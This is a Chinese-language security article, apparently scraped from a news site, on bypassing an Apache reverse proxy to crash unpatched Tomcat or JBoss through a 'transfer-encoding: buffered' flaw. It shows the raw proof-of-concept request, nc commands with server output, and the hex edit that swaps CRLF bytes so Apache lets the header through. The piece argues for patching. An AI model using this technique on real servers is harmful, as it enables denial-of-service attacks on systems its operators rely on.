新聞中心
從長(zhǎng)遠(yuǎn)的角度講,一個(gè)完整的安全方案,應(yīng)該是和現(xiàn)有架構(gòu)本身的特性,是分開的,它并不能因?yàn)楝F(xiàn)有應(yīng)用架構(gòu)攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應(yīng)用現(xiàn)有的特性,那就要承受可能被繞過的隱患,這種隱患,導(dǎo)致我們總有一天,會(huì)不得不把補(bǔ)丁老老實(shí)實(shí)的打上去。如本文就是一個(gè)很好的例子。

筆者根據(jù)TOMCAT的補(bǔ)丁,分析出了攻擊未修補(bǔ)版本的POC,相信不少人體驗(yàn)了一把。然而在實(shí)際使用中,只有小公司喜歡把tomcat放在最外面。大企業(yè)都喜歡在tomcat外面使用apache等web server轉(zhuǎn)發(fā),以便獲得更好的響應(yīng)速度,或者為了分離靜態(tài)文件,減輕服務(wù)器壓力。
對(duì)于這樣的情況,你會(huì)發(fā)現(xiàn)使用筆者給的POC,這里是無效的,關(guān)于這一點(diǎn),官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他說如果你的tomcat外面還有一層web server做轉(zhuǎn)發(fā),就會(huì)減輕這個(gè)漏洞帶來的危害。
也許大家看到這個(gè),放心了很多,就沒有修補(bǔ)。
官方這么講,是什么原理呢?我們看下攻擊的POC:
| POST /CodePK/updateinfo HTTP/1.1 Host: localhost Keep-Alive: 300 Connection: keep-alive transfer-encoding: buffered Content-Length: 145 u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4 |
遇到這樣的HTTP頭,apache會(huì)因?yàn)橛小眛ransfer-encoding: buffered”,則自動(dòng)攔截下來,自己處理掉這個(gè)數(shù)據(jù)包,不交給tomcat處理,并直接返回錯(cuò)誤。這是出于apache自己的原因造成的,但是這不重要。重要的是,這個(gè)攔截的機(jī)制,能否被繞過。TOMCAT仍然老老實(shí)實(shí)的在apache后面等候數(shù)據(jù)包,如果能繞過,它就會(huì)再次忠實(shí)的睡大覺。要繞過apache的“自動(dòng)攔截”(這個(gè)名字好記點(diǎn)),就必須讓apache不認(rèn)識(shí)這個(gè)頭。
發(fā)個(gè)數(shù)據(jù)包,這是攔截后返回的信息:
| A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 500 Internal Server Error ……..省略 The server encountered an internal error or misconfiguration and was unable to complete your request. …….省略 |
Apache返回了500 Internal Server Error,如果去掉那個(gè)頭”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。
看起來這是個(gè)死循環(huán),永遠(yuǎn)搞不定,所以tomcat官方也說了能減輕危害。
但是,如果apache和tomcat對(duì)某些字符的理解不一致,可能會(huì)apache放過某些字符,但是tomcat卻剛巧認(rèn)識(shí),又如果這個(gè)字符剛好能影響到這里,就會(huì)bypass這個(gè)所謂的“防御架構(gòu)”,所以我們找找看有沒有這樣“猥瑣”的字符存在。
Apache和Tomcat實(shí)現(xiàn)原理不一樣(廢話),所以,對(duì)一些字符可能理解不一致,是正常的。
我們先看看大家對(duì)http heads的分段是如何理解的,我查到“CRLF”,從apache源碼中看到,它把crlf定義為“\r\n”,轉(zhuǎn)換為也就是16進(jìn)制的“0D 0A”(為什么提16進(jìn)制等下講),這個(gè)供參考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c
其實(shí)我不熟悉C,也不知道這段主要是做什么的,但是看到它的確定義了
“#define CRLF "\r\n"”,只有這一個(gè)對(duì)crlf的定義。
這有什么用呢?這其實(shí)表示,apache所理解CRLF,就是“\r\n”,它不認(rèn)識(shí)“\n\r”(看仔細(xì)點(diǎn),反過來了)。
悲劇的是,tomcat和JBOSS認(rèn)識(shí)它們,并且很喜歡它們!
Tomcat和jboss對(duì)這個(gè)東西的定義含義是
“If (xx==’\r’|| xx==’\n’)”
就是說,不但把字符反過來寫它們認(rèn)識(shí),就算拆成骨頭,TOMCAT和JBOSS也認(rèn)識(shí)。
知道了這個(gè)關(guān)鍵點(diǎn),下面思路就有了。我們把”transfer-encoding: buffered”這個(gè)字段,偽裝成其他字段的一部分,讓apache放過去,交給tomcat處理就可以了。
POC:
于是我使用16進(jìn)制編輯器,UltraEdit打開我復(fù)制出來的數(shù)據(jù)包文件aa.txt
找到
transfer-encoding: buffered
把這一行之前的字符
注意括起來的兩個(gè)地方,把它們順序分別顛倒一下,兩個(gè)地方的“0D 0A”都改為“0A 0D”。改后如下:
原來包是這樣的:
| Connection: keep-alive 這是字段1 transfer-encoding: buffered 這是字段2 Content-Length: 145 這是字段3 |
三個(gè)字段其實(shí)屬于同一個(gè)字符串,他們的間隔本來是“\r\n”,我們改為“\n\r”。一旦這個(gè)包發(fā)給apache后,apache認(rèn)為只有一個(gè)字段”Connection”過來了,接著就把這個(gè)字段原封不動(dòng)的交給tomcat。#p#
可憐的tomcat看到這個(gè)包,卻認(rèn)為它是三個(gè)字段,解開了這個(gè)炸藥包,所以,砰。。。掛了
現(xiàn)在把我改后的文件,使用nc提交上去:
責(zé)任編輯:佟健
來源: IT專家網(wǎng) Apache DoS
分享到微信
微信掃碼分享
分享到微博 相關(guān)推薦
繞過
Apache httpproxy
繼續(xù)
DOS
TOMCAT/JBOSS 本文通過案例講述介紹了如何繞過繞過Apachehttpproxy繼續(xù)DOSTOMCATJBOSS的過程,在實(shí)際使用中,只有小公司喜歡把tomcat放在最外面。大企業(yè)都喜歡在tomcat外面使用apache等webserver轉(zhuǎn)發(fā),以便獲得更好的響應(yīng)速度,或者為了分離靜態(tài)文件,減輕服務(wù)器壓力。
2011-03-15 08:54:43
四兩撥千斤
Apache
HTTP
DoS工具解析 國(guó)外安全人員昨天發(fā)布了一個(gè)很有意思的HTTPDos攻擊工具。這個(gè)工具能夠通過耗盡服務(wù)器的可用連接,對(duì)Apache(以及其它一些服務(wù)器,見下文)進(jìn)行拒絕服務(wù)攻擊(DenialofServiceattack)。
2009-06-26 10:07:16
http協(xié)議與
http
代理 TCPIP是用于計(jì)算機(jī)通信的一個(gè)協(xié)議族。TCPIP協(xié)議族包括諸如Internet協(xié)議、地址解析協(xié)議、互聯(lián)網(wǎng)控制信息協(xié)議、用戶數(shù)據(jù)報(bào)協(xié)議、傳輸控制協(xié)議、路由信息協(xié)議、Telnet、簡(jiǎn)單郵件傳輸協(xié)議、域名系統(tǒng)等協(xié)議。
2014-10-22 09:36:41
TCP IP
Apache
Tomcat 7.0.12 發(fā)布 ApacheTomcat7.0.12發(fā)布了,該版本在7.0.11的基礎(chǔ)上修復(fù)了一些bug.
2011-04-07 09:06:31
Tomcat
apache/
apache
tomcat目錄遍歷漏洞的防范 如果apacheapachetomcat配置文件沒有處理好,會(huì)給站點(diǎn)帶來相當(dāng)大的隱患,目錄遍歷漏洞,會(huì)將站點(diǎn)的所有目錄暴露在訪問者眼前,有經(jīng)驗(yàn)的開發(fā)者或hacker們可以從這些目錄得知當(dāng)前站點(diǎn)的信息,如開發(fā)語言、服務(wù)器系統(tǒng)、站點(diǎn)結(jié)構(gòu),甚至一些敏感的信息。
2013-04-26 10:59:54
目錄遍歷漏洞
HTTP
代理與SPDY協(xié)議 HTTP代理是最經(jīng)典最常見的代理協(xié)議。其用途非常廣泛,普遍見于公司內(nèi)網(wǎng)環(huán)境,一般員工都需要給瀏覽器配置一個(gè)HTTP代理才能訪問互聯(lián)網(wǎng)。起初,HTTP代理也用來翻越“功夫網(wǎng)”,但是因?yàn)椤肮Ψ蚓W(wǎng)”不斷發(fā)展,普通的HTTP代理早已無效了。
2013-07-09 14:36:24
Apache
Tomcat Connectors 1.2.36 發(fā)布 ApacheTomcat項(xiàng)目組今天發(fā)布了1.2.36版本,該版本修復(fù)了1.2.35的一些小bug.詳細(xì)內(nèi)容請(qǐng)進(jìn)官網(wǎng)。
2012-05-18 15:52:49
Java Apache Tomcat
Apache與
Tomcat集群配置 本文Apache+Tomcat集群配置基于最新的Apache和Tomcat,同時(shí)也推薦了大量相關(guān)的文章,詳細(xì)請(qǐng)看內(nèi)容
2012-05-30 10:09:57
Apache Tomcat
Apache+
Tomcat集群配置詳解 本篇文章就Apache和Tomcat集群配置做出了詳細(xì)解釋,并給出代碼方便理解。
2011-02-25 11:16:38
Apache Tomcat
HTTP
代理原理及實(shí)現(xiàn)(二) 在上篇《HTTP代理原理及實(shí)現(xiàn)(一)》里,我介紹了HTTP代理的兩種形式,并用Node.js實(shí)現(xiàn)了一個(gè)可用的普通隧道代理。普通代理可以用來承載HTTP流量;隧道代理可以用來承載任何TCP流量,包括HTTP和HTTPS。今天這篇文章介紹剩余部分:如何將瀏覽器與代理之間的流量傳輸升級(jí)為HTTPS。
2015-12-02 15:29:32
HTTP 網(wǎng)絡(luò)協(xié)議 代理原理
HTTP
代理原理及實(shí)現(xiàn)(一) Web代理是一種存在于網(wǎng)絡(luò)中間的實(shí)體,提供各式各樣的功能?,F(xiàn)代網(wǎng)絡(luò)系統(tǒng)中,Web代理無處不在。我之前有關(guān)HTTP的博文中,多次提到了代理對(duì)HTTP請(qǐng)求及響應(yīng)的影響。今天這篇文章,我打算談?wù)凥TTP代理本身的一些原理,以及如何用Node.js快速實(shí)現(xiàn)代理。
2015-12-02 14:10:56
HTTP 網(wǎng)絡(luò)協(xié)議 代理原理 借助
HTTP通過SSH
繞過Linux防火墻 需要遠(yuǎn)程工作的看一下。使用這個(gè)有用的開源解決方案,從任何地方快速地連接和訪問你的所有設(shè)備。
2020-08-11 08:25:21
HTTP SSH Linux防火墻 通過JMX訪問破壞
Apache
Tomcat 本文主要關(guān)注Tomcat服務(wù)器的一些配置問題,可以將Java管理擴(kuò)展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中,來用于遠(yuǎn)程監(jiān)視和管理的目的。
2017-02-12 22:29:59
Apache
Tomcat 6.0.35 發(fā)布 附下載 ApacheTomcat6.0.35主要是安全方面的補(bǔ)丁和一些bug修復(fù),建議所有Tomcat6的用戶都應(yīng)該升級(jí)到該版本。
2011-12-07 10:34:29
Java Tomcat
Apache HTTPServer與
Tomcat/JBoss的配置 本文介紹ApacheHTTPServer與TomcatJBoss的配置。通過Apache的配置以及TomcatJBoss的配置,可以達(dá)成整合與請(qǐng)求分發(fā)的功能。
2009-07-06 17:49:02
Apache的配置 JBoss的配置 黑客針對(duì)
HTTP請(qǐng)求
繞過IDS的八種方式 當(dāng)黑客在攻擊時(shí)可以偽裝自己,饒過IDS的檢測(cè),主要是針對(duì)IDS模式匹配所采用的方法來逃避IDS的監(jiān)視。本文就主要介紹針對(duì)HTTP請(qǐng)求來繞過IDS檢測(cè)的方式。
2010-09-08 15:35:35
Apache服務(wù)器漏洞引發(fā)小流量
DoS攻擊 安全專家羅伯特·漢森(RobertHansen)近日表示,Apache和其它Web服務(wù)器存在一個(gè)重大安全漏洞,可被黑客利用發(fā)起一種新拒絕服務(wù)(DoS)攻擊。
2009-08-05 22:19:15
HTTP被動(dòng)掃描
代理的那些事 這篇文章我們從小白的角度粗略的聊聊HTTP代理到底是如何工作的,在實(shí)現(xiàn)被動(dòng)掃描功能時(shí)有哪些細(xì)節(jié)需要注意以及如何科學(xué)的處理這些細(xì)節(jié)。
2019-09-10 12:59:45
Apache
Tomcat 8 中的 NIO 2 ApacheTomcat8有一個(gè)新的基于NIO2的連接器正接近正常的使用狀態(tài),而現(xiàn)在被標(biāo)記成測(cè)試版。NIO2不僅向Servlet3。1的異步IO看齊,它還不止這一個(gè)好處。
2014-04-18 09:55:49
Tomcat 8 NIO 2
相似話題
網(wǎng)站安全
1108內(nèi)容
數(shù)據(jù)安全
2962內(nèi)容
應(yīng)用安全
5661內(nèi)容
云安全
1830內(nèi)容
全部話題
同話題下的熱門內(nèi)容
警惕!2023年十大最常見的漏洞利用 養(yǎng)成密碼管理習(xí)慣,保障個(gè)人數(shù)字安全 2024年網(wǎng)絡(luò)安全趨勢(shì):人工智能、云計(jì)算和威脅情報(bào) 大語言模型漏洞緩解指南 北京多家公司因不履行網(wǎng)絡(luò)安全保護(hù)義務(wù)被處罰! 2024年熱門網(wǎng)絡(luò)安全運(yùn)營(yíng)工具/方案推薦 在Ansible中編寫劇本實(shí)現(xiàn)批量服務(wù)器安全加固 深入淺出SSH隧道穿透
編輯推薦
瘋狂勒索500強(qiáng)和美國(guó)政府,瘋貓BlackCat靠什么年入3億? 你需要盡早知道的15個(gè)開源網(wǎng)絡(luò)安全工具 為竊取Android手機(jī)PIN碼,這個(gè)惡意軟件路子有多野? 攻擊者利用已有六年歷史的 Office 漏洞傳播間諜軟件 關(guān)于網(wǎng)絡(luò)安全預(yù)算的事實(shí)和誤解
相關(guān)專題 更多
網(wǎng)絡(luò)運(yùn)維智能化?瞻博網(wǎng)絡(luò)有奇招! 2023年數(shù)據(jù)中心熱門技術(shù)回顧 2023-12-18 09:33:33 2023年第十八屆中國(guó)企業(yè)年終評(píng)選榜單公布! 2023-12-28 20:12:38 我收藏的內(nèi)容
微博
QQ
微信
復(fù)制鏈接
微信掃碼分享
業(yè)務(wù)
- 媒體 CIOAgeHC3iTechplur
- 社區(qū) 博客軟考資訊鴻蒙開發(fā)者社區(qū)
- 教育 學(xué)堂精培企業(yè)培訓(xùn)CTO訓(xùn)練營(yíng)
- 學(xué)堂
- 學(xué)堂企業(yè)版
- 官微
關(guān)于我們&條款
- 關(guān)于我們
- 站點(diǎn)地圖
- 網(wǎng)站大事
- 意見反饋
- English
- 用戶協(xié)議
- 隱私協(xié)議
北京市海淀區(qū)中關(guān)村南1條甲1號(hào)ECO中科愛克大廈6-7層
北京市公安局海淀分局備案編號(hào):110108002980號(hào)
營(yíng)業(yè)執(zhí)照 京ICP備09067568號(hào)
Copyright ? 2005-2024 .COM 京ICP證060544 版權(quán)所有 未經(jīng)許可 請(qǐng)勿轉(zhuǎn)載
友情鏈接
新浪科技 騰訊科技 網(wǎng)易科技 鳳凰科技 驅(qū)動(dòng)科技 科技行者 TechWeb 艾瑞網(wǎng) 站長(zhǎng)之家 速途網(wǎng) 中國(guó)經(jīng)濟(jì)新聞網(wǎng) IT之家 工聯(lián)網(wǎng) 極客公園 236視頻會(huì)議 中國(guó)IDC圈 企業(yè)網(wǎng)D1Net 投資界 次方元 火山引擎
技術(shù)棧公眾號(hào)
技術(shù)棧公眾號(hào)
業(yè)務(wù)
速覽
在線客服
媒體 CIOAge HC3i 社區(qū) 博客 鴻蒙開發(fā)者社區(qū) 教育 學(xué)堂 精培 企業(yè)培訓(xùn) CTO訓(xùn)練營(yíng)
| A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 404 Not Found Date: Sat, 24 Jul 2010 01:48:34 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1006 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive |
分享文章:繞過Apache http代理繼續(xù)DoS tomcat
文章起源:http://m.5511xx.com/article/cdhsoec.html


咨詢
建站咨詢
